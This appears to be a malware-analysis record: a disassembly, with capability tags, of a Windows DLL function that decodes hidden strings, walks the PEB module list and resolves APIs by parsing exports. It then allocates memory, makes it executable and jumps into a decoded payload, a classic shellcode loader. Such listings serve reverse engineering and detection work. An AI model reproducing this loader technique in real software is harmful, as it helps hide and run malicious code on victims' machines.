Function at 0x1800017d0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor edi, edi
lea rsi, str.ZlhfRERMXXhcXF9S
mov dword [rsp + 0x40], edi
lea r15, str.________________________________________________456789:_________
mov rax, rsi
nop
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + r15], 0x3f
jbe 0x1800014a0
sub eax, esi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea ecx, [rax*2 + 1]
add ecx, eax
movsxd rcx, ecx
call fcn.180008dfc
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.180001160
mov r9d, 0xa
mov r8d, eax
mov rcx, rbx
call fcn.1800010d0
mov rcx, qword gs:[0x60]
mov r14, rax
mov r8, qword [rcx + 0x18]
mov rcx, qword [r8 + 0x20]
add r8, 0x20
cmp rcx, r8
je 0x18000153b
movzx r9d, byte [0x18001f4a1]
movzx r10d, byte [0x18001f4a0]
nop dword [rax + rax]
mov rdx, qword [rcx + 0x50]
cmp byte [rdx], r10b
jne 0x180001533
cmp byte [rdx + 1], r9b
je 0x1800016e5
mov rcx, qword [rcx]
cmp rcx, r8
jne 0x180001520
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov esi, dword [rcx + 0x1c]
mov ebp, dword [rcx + 0x24]
add rsi, r11
mov r9d, dword [rcx + 0x20]
add rbp, r11
mov ebx, dword [rcx + 0x18]
add r9, r11
test ebx, ebx
je 0x1800015a7
nop word [rax + rax]
mov r8d, dword [r9]
mov rax, r14
add r8, r11
sub r8, r14
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001593
inc rax
test ecx, ecx
jne 0x180001580
test edx, edx
je 0x1800016ee
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x180001570
mov rax, rdi
xor ecx, ecx
mov qword [0x180092cf8], rax
mov edx, 0x197ff
mov r8d, 0x1000
lea r9d, [rcx + 4]
call rax
mov rsi, rax
test rax, rax
je 0x180001747
mov rcx, rax
call fcn.1800012b0
lea rbp, str.ZlhfRERMXWlCX0RUTkQ
mov rax, rbp
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + r15], 0x3f
jbe 0x1800015e2
sub eax, ebp
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea ecx, [rax*2 + 1]
add ecx, eax
movsxd rcx, ecx
call fcn.180008dfc
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.180001160
mov r9d, 0xa
mov r8d, eax
mov rcx, rbx
call fcn.1800010d0
mov rcx, qword gs:[0x60]
mov r15, rax
mov r8, qword [rcx + 0x18]
mov rcx, qword [r8 + 0x20]
add r8, 0x20
cmp rcx, r8
je 0x18000167b
movzx r9d, byte [0x18001f4a1]
movzx r10d, byte [0x18001f4a0]
nop word [rax + rax]
mov rdx, qword [rcx + 0x50]
cmp byte [rdx], r10b
jne 0x180001673
cmp byte [rdx + 1], r9b
je 0x180001701
mov rcx, qword [rcx]
cmp rcx, r8
jne 0x180001660
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov ebp, dword [rcx + 0x1c]
mov r14d, dword [rcx + 0x24]
add rbp, r11
mov r9d, dword [rcx + 0x20]
add r14, r11
mov ebx, dword [rcx + 0x18]
add r9, r11
test ebx, ebx
je 0x180001719
nop dword [rax + rax]
mov r8d, dword [r9]
mov rax, r15
add r8, r11
sub r8, r15
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800016d3
inc rax
test ecx, ecx
jne 0x1800016c0
test edx, edx
je 0x18000170a
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1800016b0
jmp 0x180001719
mov r11, qword [rcx + 0x20]
jmp 0x18000153e
mov eax, r10d
movzx ecx, word [rbp + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r11
jmp 0x1800015aa
mov r11, qword [rcx + 0x20]
jmp 0x18000167e
mov eax, r10d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rbp + rcx*4]
add rdi, r11
lea r9, [rsp + 0x40]
mov qword [0x180092cf0], rdi
mov edx, 0x197ff
mov r8d, 0x20
mov rcx, rsi
call rdi
test eax, eax
je 0x180001747
call rsi
lea rcx, str.Documents
call fcn.180001010
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
jmp 0x180001470